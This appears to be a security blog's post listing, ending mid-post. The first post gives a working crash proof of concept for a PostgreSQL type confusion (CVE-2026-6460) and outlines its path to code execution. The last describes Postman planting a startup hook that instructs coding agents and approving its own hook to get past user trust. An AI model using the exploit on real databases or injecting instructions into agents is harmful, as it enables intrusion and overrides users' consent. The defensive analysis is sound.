DEV Community: Sam LABBE

4 SQL statements and a segfault: inside PostgreSQL's 22-year-old type confusion, CVE-2026-6460

Sam LABBE — Fri, 13 Nov 2026 07:35:23 +0000

Four SQL statements. A login role with zero privileges. A segmentation fault. That is the entry ticket to Mehmet Ince's three-part series on CVE-2026-6460, patched in PostgreSQL's November 9 security release (52 CVEs, six of them from this research). The primitive dates to May 5, 2004: every PostgreSQL ever shipped since ALTER TABLE ... ALTER COLUMN ... TYPE landed carries it. This morning I built the vulnerable 17.11 from source on my laptop, ran the crash PoC as a role with no privileges at all, and then ran the same four statements on the fixed 17.12. One server died, the other answered with what might be the most elegant error message of the year. Both outputs, unedited, below.

The bug: prepare, mutate, execute

The confusion lives between what a prepared statement captured and what the type system says when it runs:

CREATE TYPE pg_temp.poc2 AS (key uuid);
PREPARE stmt2 AS SELECT ('(01020000-0000-0000-0000-000000000000)')::pg_temp.poc2;
ALTER TYPE pg_temp.poc2 ALTER ATTRIBUTE key TYPE bytea CASCADE;
EXECUTE stmt2;

The literal is analyzed at PREPARE time, so the plan holds the value as binary UUID bytes (16 bytes, starting 01 02). Then ALTER TYPE rewrites the composite's descriptor to bytea. At output time, record_out() picks the output function by the new type, so those 16 UUID bytes are handed to byteaout() as a varlena pointer. A datum that was inline data becomes, retroactively, a pointer. One detail matters and cost me a first failed attempt: the crafted literal must live inside the prepared statement. Pass it as $1 and the parsing defers to EXECUTE time, after the type changed, and the value converts cleanly; no confusion, no crash. The bug is precisely the gap between captured state and current descriptor.

The crash, live, on a server I built for it

To have a vulnerable server on hand I compiled PostgreSQL 17.11 (pre-fix) from source (./configure --without-icu --without-zlib && make -j8, about four minutes on an M1), created a throwaway cluster, and gave myself the weakest possible position: CREATE ROLE victim LOGIN with a single grant. Then the four statements, as victim:

$ psql -h /tmp -p 5544 -U victim -d postgres
CREATE TYPE
PREPARE
ALTER TYPE
server closed the connection unexpectedly
        This probably means the server terminated abnormally
        before or while processing the request.
connection to server was lost

-- /tmp/pg17/pg.log, same second:
LOG:  server process (PID 21497) was terminated by signal 11: Segmentation fault: 11

Why it crashes: UUID bytes beginning 01 02 are read by byteaout() as an external expanded-object varlena header. The next 8 bytes become an ExpandedObjectHeader *; with zeros there, detoast_external_attr() -> DatumGetEOHP() -> EOH_get_flat_size(NULL) dereferences NULL. Signal 11.

And the same four statements on the fixed 17.12 (installed side by side, same cluster recipe):

CREATE TYPE
PREPARE
ALTER TYPE
ERROR:  row type of datum tuple was altered after the datum's creation
HINT:  See server log for additional details.
-- server log: 0 segfaults

That error is the fix talking: "composite attribute versioning" stamps each composite datum with its descriptor's version and refuses the output when the world changed under it. Not a bandage on byteaout, a structural detection of exactly this class.

The full lab kit (crash PoC and the vulnerable-vs-fixed A/B runner, exactly as run above) is on GitHub: slabbdev/postgresql-type-confusion-cve-2026-6460.

From crash to RCE, per the writeup

The crash is the demo; the series' finale is the weapon, and its shape is a small masterclass in turning a type confusion into native execution:

Control-flow hijack from a fake object. EOH_get_flat_size performs eohptr->eoh_methods->get_flat_size(eohptr): an indirect call through a per-object "methods" table. Forge the fake expanded-object header so its first 8 bytes hold your command string and the next 8 a pointer to a fake methods table containing system@plt. The indirect call executes system(eohptr), and eohptr points at the header, whose first 8 bytes are the command. The object is the argument.
ASLR defeat with the same confusion, differently. Three UUID fields (48 controlled bytes) forge a fake PostgreSQL array; after altering the attribute to bigint[], unnest() returns a text element by reference (a pointer) while the SQL contract now reads it by value as a bigint. The heap address prints as an integer. The writeup shows the leak output.
No privileges required. Everything runs in pg_temp as the lowest-privileged login role: no superuser, no extensions, no file access, just SQL. Ince tested it against the major managed Postgres fleets (Supabase, RDS, Aurora, AlloyDB, Databricks, and more): anywhere a tenant can run SQL, this was the distance between a login and a server-side native code execution primitive.

The November 9 release fixed six CVEs from this work (CVE-2026-6460 plus five variants covering anonymous RECORD descriptors, statistics imports, tuple-size overflows) out of 21 cases he reported. And one more line worth the attention of this blog's ongoing thread: 17 other researchers reported overlapping issues, including the OpenAI and Anthropic security teams, while Ince notes his own finds came "without any cyber enabled models". The humans got there too, same quarter, same ground.

Audit your fleet tonight

-- every instance you control: which minor are you on?
SELECT version();
-- fixed lines: 18.x >= Nov 9 release, 17.12+, 16.12+, 15.16+ (the Nov 9, 2026 security release set)

Self-hosted: update to the November 9 release of your major. The fix detects the class, not just the PoC, but the crash primitive is 22 years wide; there is no configuration that keeps it and feels safe.
Managed Postgres: the providers were in the disclosure loop; check your engine version and the provider's post-Nov-9 status page, and force the minor upgrade if your maintenance window lets you defer it.
Multi-tenant SQL platforms (Supabase-alikes): this was your worst case, a tenant-to-host native execution primitive. The Nov 9 patch is the reason to check that every shared cluster rebooted.

And for the pattern watchers: this blog has now covered a 16-year-old UEFI overflow, 9-bit AES-256, and a 22-year-old type confusion in the same quarter. Old bugs do not die; they wait for someone to read the versioning gap carefully. The PostgreSQL team's answer, versioning the datum to its descriptor, is the structural fix the others lacked, and the error message it produced is the most reassuring six words a DBA can read this month.

TL;DR: CVE-2026-6460 is a 22-year-old type confusion (composite type + ALTER TYPE between PREPARE and EXECUTE; the plan holds UUID bytes, output reads them as bytea/varlena) that crashes, then leaks, then executes native code, as the lowest-privileged role, on essentially every PostgreSQL since 2004 and every managed fleet tested. Fixed structurally in the November 9 release. I built vulnerable 17.11 from source and reproduced the segfault with four statements as a zero-privilege role; the fixed 17.12 answers with a clean detection error. Update tonight; the commands above tell you where you stand.

Sources: Mehmet Ince: turning a 22-year-old PostgreSQL type confusion into RCE · PostgreSQL November 9, 2026 security release · lab kit: github.com/slabbdev/postgresql-type-confusion-cve-2026-6460 (crash PoC + vulnerable-vs-fixed A/B runner) · vulnerable 17.11 built from ftp.postgresql.org source; fixed 17.12 via Homebrew; both PoC runs reproduced above

Apache httpd shipped a critical HTTP/2 RCE yesterday, and one of the finders was a machine: CVE-2026-119618 and the three-gate audit

Sam LABBE — Thu, 12 Nov 2026 12:07:31 +0000

Yesterday, Apache released httpd 2.4.71 with three CVEs, one of them critical: CVE-2026-119618, heap corruption and RCE in mod_http2, a race condition in assign_headers() triggered by concurrent HTTP/2 requests on shared resources. Affected: every httpd from 2.4.55 to 2.4.70, and per Wiz's telemetry, 64% of cloud environments contain a vulnerable instance and 51% have one publicly exposed. And the detail that closes a loop this blog opened yesterday: in Apache's own acknowledgements, the first finder listed is "Anthropic's OSS Scanner, as vulnerability ANT-2026-MAPKT6MZ". Twenty-four hours ago this space audited that scanner's noise curve (curl: 45 reports, 56% rejected). Today, its signal: a critical remote code execution in the most-deployed web server on earth. Both things are true, and that is exactly the point.

The vulnerability, precisely

From the official advisory: a concurrent execution using shared resources with improper synchronization flaw in mod_http2's assign_headers(). Multiple HTTP/2 streams hitting the header-assignment path concurrently can corrupt the heap, and heap corruption in a preforked server is a code-execution primitive. The requirements:

HTTP/2 enabled (the module loaded and h2 in the Protocols directive, directly or via ALPN)
versions 2.4.55 through 2.4.70 of httpd, or the standalone mod_h2 GitHub builds 2.0.8 through 2.0.42
fixed in 2.4.71 (released November 11) and mod_h2 beyond 2.0.42

No public exploit, no observed in-the-wild exploitation yet. With a patch out, an internet-facing h2 server on an affected version is now running a countdown: the advisory, the Wiz writeup and the fix diff are all public, and history says weaponization of httpd flaws is measured in days-to-weeks, not months.

The interim mitigation if you cannot upgrade today is one line in httpd.conf: Protocols http/1.1 (removing h2/h2c from the negotiated protocols closes the vulnerable path at the cost of HTTP/2's performance). That trade is almost always correct for 48 hours.

The three-gate audit, run live on my Mac

"Is my server vulnerable" for this CVE is the AND of three conditions, and each is one command. My laptop turned out to be the perfect teaching case: its httpd is version-flagged yet not exploitable, and here is the full output, unedited.

# GATE 1: the version (2.4.55 <= v <= 2.4.70 means flag)
$ httpd -v
Server version: Apache/2.4.67 (Unix)          # <- IN THE AFFECTED RANGE
Server built:   Oct  6 2026 20:57:44           # <- Apple's bundled build

# GATE 2: is the vulnerable module even loaded?
$ httpd -M | grep -i h2
(no output)                                     # <- mod_http2 NOT loaded

# GATE 3: is h2 negotiated, and is anything listening?
$ grep -rn "^Protocols" /etc/apache2/httpd.conf # <- no h2 configured
$ lsof -iTCP -sTCP:LISTEN -P | grep httpd       # <- not listening at all

Verdict: version-flagged, module absent, daemon idle: not exploitable as configured, patch anyway at the next maintenance, because configurations change and yesterday's exposure is not today's. Note gate 1's fine print for Mac users: Apple bundles httpd and builds it late (this 2.4.67 shipped October 6, five versions behind within a month), so macOS servers and CI images inheriting /usr/sbin/httpd will trail 2.4.71 for a while. Brew or a container image you control beats the bundle.

For every internet-facing host you own, add the remote variant:

# does your site speak HTTP/2? (if yes AND the server is Apache in range: act)
curl -sI --http2 https://your-site.example | head -1
# HTTP/2 200  -> h2 active; combine with version to conclude

# if you expose server tokens, the version comes back free:
curl -sI https://your-site.example | grep -i server

Yesterday's audit, today's receipt

The Glasswing post yesterday ended on the economics: 37,966 findings, 217 fixed, maintainers buried under model-generated reports whose validation the lab had outsourced. This CVE is the other column of that ledger, in the strongest possible form:

The finding was real, critical, and in the web server: heap-corrupting RCE, not a low-severity nit (the curl case's six confirms were all low).
It was co-found: Apache credits both the Anthropic OSS Scanner and independent researchers (Anthony Weems, Simon Scannell). The machine was first on the list, humans validated the same ground.
The disclosure pipeline worked: coordinated, patched, advisory with credits, fix out in a normal release.

So the honest ledger after two days reads: the scanner stream is majority-noise at the individual report level, and occasionally infrastructure-critical. Both facts argue for the same conclusion drawn yesterday: validated before shipped, and the finder's organization carries the triage cost. A machine that finds Apache httpd RCEs has earned its compute bill. A stream of 5,000 unvalidated reports has not, and the way to tell them apart is not marketing, it is exactly this kind of receipt: a CVE, a patch, a credit line.

What to do tonight

Inventory: every httpd you run, the three gates (version, module, listening protocols). The commands above run in seconds per host.
Patch to 2.4.71+ where gates 2 and 3 are open; Protocols http/1.1 as the 48-hour bridge.
Containers and base images: FROM httpd:* and distro packages both need a rebuild; 2.4.55–70 has been the default in many images for two years.
Watch for the weaponization window: if you cannot patch, gate 3 is your firewall (no h2 for strangers), and your logs for PRI * HTTP/2.0 lines will tell you who is probing.

TL;DR: CVE-2026-119618 is a critical mod_http2 race (assign_headers(), heap corruption, RCE) in httpd 2.4.55–2.4.70, fixed yesterday in 2.4.71, found by Anthropic's OSS Scanner plus independent researchers, with 64%/51% cloud exposure per Wiz. Risk = version AND module AND protocol, three commands per host (my Mac: flagged on version, safe on the other two). Patch, bridge with Protocols http/1.1, rebuild the images, and update your Glasswing priors: the noise is real, and so is this.

Sources: Apache official advisory (2.4.71, credits) · Wiz: CVE-2026-119618 analysis and exposure data · yesterday's Glasswing audit on this blog

38,000 AI-found vulnerabilities, 217 fixed: auditing Glasswing, Anthropic's bug-discovery machine

Sam LABBE — Wed, 11 Nov 2026 10:42:33 +0000

This blog spent October celebrating AI-discovered vulnerabilities: php2shell was found by machines before attackers, an AI model cracked a WAF bypass in six hours that humans had missed. Here is the other half of that story, audited. In April, Anthropic launched Project Glasswing claiming "thousands of additional high- and critical-severity vulnerabilities" to responsibly disclose. Last week, VulnCheck published its seven-month assessment, and the numbers do not reconcile: 37,966 total findings, 7,349 public, 217 fixed. In the eight weeks from September 8 to November 2, the ledger grew by 11,813 findings while fixes grew by 15. And since October 8, an OSS scanner has been emailing open-source maintainers reports that are "fully model-generated, without human review". This post: the audited numbers, what I found recomputing them from the public tracker tonight, the curl case study, and the uncomfortable economics of vulnerability discovery at machine speed.

The ledger, read without the marketing

From Anthropic's own ledger (red.anthropic.com, November 2 update) and VulnCheck's tracking:

Metric	Value	The ratio that matters
Total findings	37,966
Public	7,349	19.4% of findings
Fixed	217	0.57% of findings, 2.9% of public ones
Duplicates	1,654	7.6x the number of fixes
Withdrawn	419	after maintainer pushback
Known exploited (KEV)	2	0.45% of credited CVEs

Anthropic's claimed true-positive rate is 94.2% (up from 90.8%), a number VulnCheck's Patrick Garrity openly doubts. The ground truth sample argues with it: curl. Daniel Stenberg received 45 Glasswing reports. Of 34 processed so far: 19 rejected as not vulnerabilities, 6 confirmed (all low severity), 9 pending. That is a 55.9% rejection rate on reports sent to one of the most security-mature maintainers alive, and the six real ones were all low. The Mythos episode from May rhymes: five findings, one confirmed.

To be fair, and this matters: the credited-CVE list is not empty theater. There are real, credited, sometimes serious vulnerabilities in it, including two that reached CISA's exploited-in-the-wild catalog (CVE-2026-61500, CVE-2026-26980). The machine finds real bugs. The question this audit forces is not "can it find" but "what does shipping the raw stream do to the humans who have to triage it".

What I found recomputing the tracker tonight

VulnCheck's post is one reading. The tracker it cites is public (patrickmgarrity/Anthropic-Credited-CVEs), so I cloned it and ran the numbers myself, tonight, for this post:

$ ls cves/*.yaml | wc -l
450          # credited CVEs on file, 8 more than at the blog post's writing

by month:    Feb 24, Mar 15, Apr 32, May 45, Jun 48, Jul 49,
             Aug 54, Sep 59, Oct 98, Nov 26 (partial)
severity:    critical 51, high 190, medium 146, low 36, unscored 27
top products: Linux 36, Firefox 32, BC-Java 31, wolfSSL 25,
              coder/coder 19, bc-csharp 18, filelock 16, LibreOffice 13
auto_discovered: 353 of 450 (78%)
KEV overlap: CVE-2026-61500, CVE-2026-26980 present

Read the month curve: the machine's output roughly doubled in October (98 CVEs) right as the ledger's fix-rate collapsed (+15 fixes in the same window). Discovery scales with compute; triage and fixes scale with humans, and the humans in this pipeline are unpaid maintainers. One product name in the top list deserves a flag: filelock, a small Python utility, carries 16 credited CVEs, which smells like a model re-finding variations of the same class against one target, 16 times. (The tracker's own state file counts 127 more fixed findings that never even got a CVE.)

The October pivot: from "we validate" to "you validate"

The structural event is quieter than the numbers. On October 8, Anthropic launched an opt-in OSS Scanner on GitHub whose reports are "fully model-generated, without human review", and by the assessment's count nearly 5,000 unverified reports had already gone out to maintainers in bulk. Anthropic's own framing earlier in the year was candid: they were "bottlenecked on our human capacity to validate these findings". The scanner resolves the bottleneck by relocating it: validation moved from the lab that owns the model to the maintainers who own the packages.

If you have been reading this series, you recognize the shape. It is the Gheist pattern inverted, the Postman pattern at industrial scale: an actor with more compute than consent ships its output into other people's queues and calls it a gift. When the queue is your CI, it steals secrets; when the queue is your inbox as a maintainer, it steals something scarcer, triage attention, and the curl numbers say more than half of what it steals is noise.

There is also a genuine dilemma worth stating honestly, because cheap takes are easy: the alternative to imperfect automated disclosure is not perfect human disclosure, it is less disclosure. The 51 criticals in the credited list include real memory-safety catches in curl-class software. Nobody sensible wants the machine turned off. The ask is smaller and harder: validated before shipped, severity honestly binned, one report per real bug, and the finder's organization pays the triage cost until the report is confirmed. The current setup has a lab harvesting CVE credits while volunteers do the quality control.

Check your own stack tonight

git clone --depth 1 https://github.com/patrickmgarrity/Anthropic-Credited-CVEs
cd Anthropic-Credited-CVEs

# are YOUR dependencies in the credited list?
grep -l -iE "product: (curl|linux|firefox|wolfssl|libreoffice|filelock)" cves/*.yaml | wc -l

# anything critical?
grep -l "^cvss: '9" cves/*.yaml | wc -l
for f in $(grep -l "^cvss: '9" cves/*.yaml); do grep -H "^cve:\|^product:" $f; done

# cross-check the two known-exploited ones against your environment
grep -A2 "CVE-2026-61500\|CVE-2026-26980" cves/*.yaml

My run tonight: the two KEV entries are present, the criticals concentrate in network-facing code (iperf3's 9.2 from the tracker's own files), and 78% of the list is marked auto_discovered: true, so if you maintain an OSS package, assume your inbox is the next frontier and pre-write your triage policy now: what you reject, what you escalate, and the sentence you will use for unsolicited machine-generated reports.

TL;DR

Glasswing's audited scoreboard: 37,966 findings, 217 fixed, 1,654 duplicates, 2 exploited in the wild, and a scanner that outsources validation to maintainers with model-only reports; curl's 45-report experience shows a majority of noise under a "94% true positive" claim. The public tracker (450 credited CVEs tonight, October the peak month) is queryable in one clone, and it is the honest way to answer "is my stack affected" without the press release. The era of machine-speed discovery is here; the audit says the bill for it is being paid by the wrong people.

Sources: VulnCheck: Tracking Anthropic-discovered vulnerabilities, November update · the tracker (patrickmgarrity/Anthropic-Credited-CVEs), stats recomputed tonight · Anthropic ledger · KEV cross-check: CVE-2026-61500, CVE-2026-26980

ChatGPT Desktop forwards your SSH agent to the machines its agent runs on: your keys, its repos

Sam LABBE — Mon, 09 Nov 2026 10:31:06 +0000

Yesterday morning's HN drop, one line long: "The agent running on a remote machine can authenticate using your local SSH credentials. That means it can push to your private repos on GitHub, for example." The linked proof is not a rant, it is OpenAI's own engineering: PR #28131 on openai/codex, titled "[codex] Refresh SSH agent for app-server proxy", whose review comments casually discuss the daemon environment line SSH_AUTH_SOCK=~/.codex/app-server-control/forwarded-ssh-agent.sock, and a companion issue about desktop clients overwriting the shared SSH agent. Translation: the agent infrastructure ships with your SSH agent baked in. Processes the agent spawns can sign challenges with your keys, silently, because that is what the feature is for. This post: what the source actually shows, why it matters more than the usual leak-of-the-day, and the two-command hardening that turns silent signing into an explicit act.

What the source shows

Three artifacts, all public, all from OpenAI's repos:

The flag: the codex app-server integration (what ChatGPT Desktop uses to run Codex sessions) accepts --forward-ssh-agent. Its purpose is in the name: take the user's local SSH agent and make it available inside the agent's execution environment.
The stable socket: the daemon is launched with SSH_AUTH_SOCK=~/.codex/app-server-control/forwarded-ssh-agent.sock, so anything the app-server spawns, shells, tools, agent commands, inherits a working path to your keys. The PR's review thread is engineers carefully fixing socket-refresh edge cases (a stale symlink after a new SSH session, one desktop client clobbering the shared link of another), which tells you this is not a prototype: it is maintained, shared, and designed-in.
The companion issue (#59694): "Remote SSH: one desktop client overwrites the shared SSH agent used by [other sessions]" confirms multiple client sessions share one forwarded agent.

To be precise about claims, because this deserves it: this is a feature, documented in code, whose consequence is capability transfer. Nobody has shown malware abusing it. The HN framing is the correct one: the agent running on the other end can authenticate as you, wherever your keys are accepted: GitHub (push to private repos), servers on your ~/.ssh/config host list, anything your agent socket can sign for. The security question is not "is there a bug", it is "did the user understand that opening the app hands the agent's environment the ability to sign as them, and can they see each use?".

Why this one cuts deeper than the usual leak

The month gave us a sequence of agent-privacy incidents, each about data flowing out: transcripts shipped to the model, an email address in a User-Agent, Postman editing rival agents' configs. Data leaks are bad; credential-capability leaks are a different genus. An email in a header makes you a scam target. A live SSH agent inside the agent sandbox makes the sandbox you: your GitHub pushes, your server logins, your deploy access, no password, no 2FA prompt, no trace beyond auth logs. And the blast radius compounds silently: agent sandboxes run model-chosen commands. A prompt-injected instruction that says "push this branch to the user's private repo" does not need to exfiltrate anything; it needs the environment to already contain your identity. Now it does, by design.

The old SSH wisdom was "never set ForwardAgent yes to a host you don't fully trust". The new world wraps that exact decision inside a desktop app's defaults, pointed at an execution environment that runs generated code. The principle did not change; the visibility of the decision did.

The audit and the hardening: two commands each

Audit (any machine; I ran these on mine tonight: no codex artifacts, agent running with zero identities, the exact clean baseline):

# 1. Does an agent-forwarding socket exist for your AI tooling?
ls -la ~/.codex/app-server-control/ 2>/dev/null || echo "no codex agent socket"

# 2. What could be signed as you right now, by anything sharing your agent?
ssh-add -l        # "The agent has no identities." = nothing to abuse (my output tonight)
                  # a list of key fingerprints = these can sign, silently, per process

# 3. Bonus: who is your agent socket, and is it per-session or system-wide?
echo "$SSH_AUTH_SOCK"

Hardening, in order of effectiveness:

# 1. Make every use of your key an explicit act: load keys with per-use confirmation
ssh-add -c ~/.ssh/id_ed25519
# from now on, EVERY signature request (including from an agent sandbox)
# pops a native confirmation dialog. Silent signing becomes impossible.

# 2. Better: keys that require presence, not just confirmation.
# On macOS, generate keys in the Secure Enclave (touch-required):
ssh-keygen -t ed25519-sk   # or use the YubiKey you already own
# a hardware-bound key cannot be "shared" anywhere; the agent forwards a socket,
# but each signature demands the physical tap.

# 3. Starve the agent environment: launch AI desktop apps WITHOUT your agent
launchctl setenv SSH_AUTH_SOCK ""   # (per-session approaches vary)
# or simply: don't keep keys loaded (ssh-add -D) while agent sessions run.

Option 1 is the sleeper: ssh-add -c is decades old, works with the keys you already have, and converts this entire class of concern into a dialog you either approve or kill. If a confirmation popup appears for a signature you did not initiate, you have just caught your agent (or something inside it) trying to be you, in the act, with the evidence on screen.

And for the product side, the ask is simple and old: agent features that use identity capabilities should ask per use, not per install. Apple needed Touch ID prompts to make macOS keychain access feel trustworthy; an AI desktop app holding live SSH capability should meet the same bar.

The month's ledger, final line

Transcripts, User-Agent emails, config edits in rival tools, and now key-capability forwarding: each story moved the same boundary one step further, from what the agent reads to what the agent can do. The through-line of this series has been that the agent's outbound surface is the user's outbound surface. SSH agent forwarding is that sentence made literal: the surface now includes your private key operations. Treat the agent environment like a jump host you don't fully control: minimal keys, confirmation on use, hardware-bound where it matters. And when the desktop app asks why the push failed, the correct answer is: because you should have asked.

TL;DR: ChatGPT Desktop's Codex integration forwards your SSH agent into the agent's execution environment (--forward-ssh-agent, stable socket at ~/.codex/app-server-control/forwarded-ssh-agent.sock, shared across sessions per OpenAI's own PR and issues). It is a designed capability, not a bug: agent-side processes can sign as you, including pushes to private repos, silently. Audit with ssh-add -l and a directory check; harden with ssh-add -c (per-use confirmation) or ed25519-sk hardware keys, and don't run agent sessions with loaded keys you wouldn't hand to a jump host.

Sources: HN: ChatGPT Desktop forwards your SSH agent · openai/codex PR #28131: Refresh SSH agent for app-server proxy (socket path and design in review comments) · openai/codex issue #59694: shared SSH agent across desktop clients

Claude Code was mailing your email address to every website it visited: the User-Agent leak, the 5-month system-prompt issue, and the 5-point check

Sam LABBE — Fri, 06 Nov 2026 08:22:34 +0000

Two GitHub issues, five months apart, describe the same leak through two different pipes. Yesterday's, filed at 22:13 and now at 360 reactions: Claude Code sends your account email address to arbitrary third-party websites in the User-Agent request header when its web tools run. The reporter's evidence is his inbox: dozens of scam emails per day, because every server log on the agent's path was harvesting a verified, active, AI-tool-using developer address. The July one (#81138, still open): the same email is injected into the model's system prompt on every session, code quoted from the shipped bundle. Anthropic shipped a fix, a built-in cc-plugin-privacy mod in v2.1.317+, the same day the newer issue went viral. This post is the mechanics of both pipes, the timeline that says the fix tracked attention rather than the July report, and the five checks that tell you what your install is doing tonight.

Pipe one: the User-Agent that identified you to strangers

The User-Agent header travels with every HTTP request your tools make, and it is logged by default on virtually every web server on earth. Claude Code's web tooling included the signed-in account's email in it. Consequences, in increasing order of bad:

Every website your agent fetched saw a verified, working email belonging to a developer who pays for AI tooling. That is not a tracking identifier; that is a pre-qualified lead, and server logs are bought, sold, leaked, and aggregated as a matter of course.
It bound your agent traffic and your human identity into one string. Sites that wanted to rate-limit agents got everything they needed to rate-limit you; sites that wanted to target AI users got the exact address.
The reporter's flood of scam mail is the expected outcome, not an anomaly: a UA header is a form submission to every intermediary on the path.

And the kicker, which the reporter stated plainly: the identifier did nothing useful. It did not help services distinguish agentic traffic (a coarse marker would), it destroyed the anonymity of the session, and it was a scammer goldmine. PII in a header is the worst of both worlds: no functional benefit, total exposure.

Pipe two: the email inside every system prompt

The July issue (#81138, filed 2026-07-25, titled "[BUG] Account email (PII) is injected into the model's system prompt without consent") documents the other pipe, with bundle code quoted from v2.1.220:

let n = process.env.ANTHROPIC_UNIX_SOCKET ? void 0 : dc()?.emailAddress
return {
  ...(n && { userEmail: `The user's email address is ${n}.` }),
  ...
}

Which renders into every session's system prompt as:

# userEmail
The user's email address is <account email>.

Sourced from ~/.claude.json → oauthAccount.emailAddress. Where does a system prompt travel? To the API, into logs on both sides, into any context the session touches, and from there, potentially, into anything the model quotes or forwards. The issue's framing is precise and worth repeating: personal data given for authentication, repurposed as session content, without consent or disclosure. As of tonight that issue is still open.

The timeline that matters

July 25: #81138 files the system-prompt injection, with bundle source. No fix lands.
November 5, 22:13: #107757 files the User-Agent variant. Reactions climb into the hundreds within the day.
November 5, same day: an Anthropic contributor replies: a built-in mod, cc-plugin-privacy, introduced in v2.1.317 and later, "deterministically blocks this behavior", is enabled by default, can be toggled via /plugins, and its source will be published alongside the other built-in mods.
The anomaly worth watching: the reporter ran v2.1.318, allegedly post-fix, and still saw the leak. Possibilities: the mod was disabled on his machine, the blocking has a gap (the staff reply explicitly asks for gap reports), or version confusion. "Enabled by default" is not "verified on your machine", which is what the runtime check below is for.

One comment in the thread names the uncomfortable pattern: the original privacy issue sat for five months, and the fix shipped the day the new one hit the front page. "You can literally sort issues by emoji count and 80/20 it." An agent could triage that queue; the queue's owners apparently needed HN instead.

The five-point check for your install

Run on any machine with Claude Code. On mine, the CLI is absent but ~/.claude.json exists with no oauthAccount (so the PII field is empty): your results will vary, and check 3 is the one that settles everything.

# 1. Version: the built-in privacy mod ships in 2.1.317+
claude --version

# 2. Is the mod present and enabled?
#    In Claude Code: /plugins   -> look for cc-plugin-privacy (default: on)

# 3. THE RUNTIME TEST: a local listener tells you what your agent actually sends:
mkdir /tmp/uatest && cd /tmp/uatest && python3 -m http.server 8899 &
# then, inside Claude Code, ask it to fetch:  http://127.0.0.1:8899/probe
# and read the log line that appears:
#   "GET /probe HTTP/1.1" 200 -        <- the UA is what python logs BEFORE this
# better, log it explicitly:
python3 -c "from http.server import *; import sys
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print('UA =', self.headers.get('User-Agent'), file=sys.stderr, flush=True)
        self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
HTTPServer(('127.0.0.1', 8899), H).serve_forever()"
# UA contains your email  -> still leaking (report it: issue #107757)
# UA is a generic string   -> blocked on your build

# 4. What is at stake locally: does your config even carry the email?
python3 -c "import json,os; d=json.load(open(os.path.expanduser('~/.claude.json'))); \
print('email present:', 'emailAddress' in d.get('oauthAccount', {}))"

# 5. The system-prompt check (July issue): in a fresh Claude Code session, ask:
#    \"What is my email address?\"
#    If the model knows it unprompted, the #userEmail block is still in your prompt.

Check 5 doubles as the general lesson: ask your agent what it knows about you. It reads its system prompt more honestly than the changelog reads.

The principle, and the month's pattern

Your agent is you on the web. Its headers are your headers, its prompts are your context, and everything it carries leaks at the union of every hop. Identifying agentic traffic is a legitimate need, and the correct answer is a class marker ("this is an automated client, product X, version Y"), not your identity. Anthropic's fix, a deterministic blocking mod, is the right shape, and shipping it by default is right; the five-month gap between report and fix, and the fact that it closed only under viral load, is the part to remember at renewal time.

The ledger of the agent era, one more line: transcripts shipped to the model, extensions backdooring at load, a vendor installing itself into rival agents, and now the agent leaking your address to every server it touched. Same target every time: the agent's outbound surface is the user's outbound surface. Audit it like it is yours, because it is.

TL;DR: Claude Code put your account email in the User-Agent of its web requests (every server log got a scam-ready lead; the reporter's inbox proved it) and ships the same email inside every session's system prompt (issue open since July 25). Fixed by the built-in cc-plugin-privacy mod in 2.1.317+ the day the new issue went viral; the reporter was on .318 and still saw it, so run the runtime check: local listener, make your agent fetch it, read the UA. Five checks above; two minutes; your inbox will thank you.

Sources: Issue #107757: Privacy violation in User-Agent header (report + staff reply re cc-plugin-privacy) · Issue #81138: email in the system prompt, July 25, bundle code · built-in mods: github.com/anthropics/claude-code/tree/main/mods

Postman silently installed itself into Claude Code and Codex: the log lines, the self-approving hook, and the 4-point audit

Sam LABBE — Wed, 04 Nov 2026 07:34:20 +0000

The most upvoted security story of the week is a GitHub issue, and it opens with a log line from Postman's own files: {"source":"auto-existing-upgrade","results":["claude-code:installed","codex:installed"]}. Read it slowly: a user opened Postman, and Postman installed plugins into Claude Code and Codex, two other applications, without asking. It also edited their global configs, registered a startup hook that instructures your coding agent to route all API engineering work through Postman skills, pointed a remote MCP connection at mcp.postman.com, dropped a CLI into ~/.local/bin, and, per its own installer source, attempted to approve its own hook by writing the trusted hash. The issue, filed October 25 with pinned evidence and surgical wording, has 299 reactions, 38 comments, and as of tonight zero replies from Postman staff. Here is what is proven, what is not, and the four-check audit for every machine you own.

What is proven, from the reporter's own machine

The reporter (issue #14370, Postman desktop 12.33.4, October 25) reconstructed everything from local artifacts and the plugin source, pinned to the exact installed revision. The chain:

The silent install. Postman's main.log records auto-existing-upgrade installing claude-code and codex plugins via a script, with "exposed":true, "signedIn":true in the telemetry-shaped line. Not an opt-in flow: an autoInstall.plugin.existing-user flow, for users who already had Postman.
Edits to other applications' global configs. ~/.codex/config.toml grew a [marketplaces.postman] section, an enabled postman@postman plugin, and a hooks state entry. ~/.claude/settings.json enabled postman@claude-plugins-official; ~/.claude/plugins/installed_plugins.json shows version 2.0.1, user scope, timestamps matching the install window. A separately installed Postman CLI landed in ~/.local/bin.
The instruction that reaches into every session. The registered hook fires on session start (matcher startup|clear|compact) and prints a context file that says: before responding to any non-trivial API engineering task, designing, implementing, mocking, testing, monitoring, documenting, **load the postman:api-engineer skill and follow it**. That is not an integration; that is a standing order to your agent to make Postman the default path for a whole category of work.
The self-approval attempt. This is the detail that earned the [SEVERE] tag. The installer source (installer/src/hosts/codex-hooks.ts, pinned revision) calls an approval routine after installing: it reads the hook hash via hooks/list and upserts hooks.state with trusted_hash through config/batchWrite. The source comment says "Approves only Postman's current hook after installation". Hook trust exists so that the user decides what instructions their agent obeys at startup. A component approving its own hook is consent theater: the ceremony of a trust boundary with none of the boundary.
The remote connection. mcp.codex.json points at https://mcp.postman.com/mcp; Codex logs show it failing with Auth required. Enabled before any working authentication, on a machine where nobody asked for it.

What is not proven, and why I am saying so

The HN headline says "attempts to share all API data". The issue, to its author's considerable credit, ends with: "This report establishes unwanted integration and instruction changes; **it does not claim to establish data exfiltration." What exists is the architecture of sharing, a local exposure flag, a remote MCP endpoint wired without auth, and a standing instruction to route API work through Postman, plus a plugin that failed to authenticate. What does not exist, in the public record, is evidence of collections leaving the machine. Both halves matter: the consent violation is proven and severe on its own, and precision about the unproven half is what keeps the proven half credible. This blog spent a morning last week un-hyping a "BREAKING PHP RCE" that was not one; same discipline applies when the crowd-simplification runs against a company we are mad at.

Also missing: any Postman staff reply in the issue thread (38 comments as of tonight), and answers to the reporter's six asks, the sharpest being which feature flag drove auto-existing-upgrade and what other agents and files it can touch.

The audit: four checks, any machine

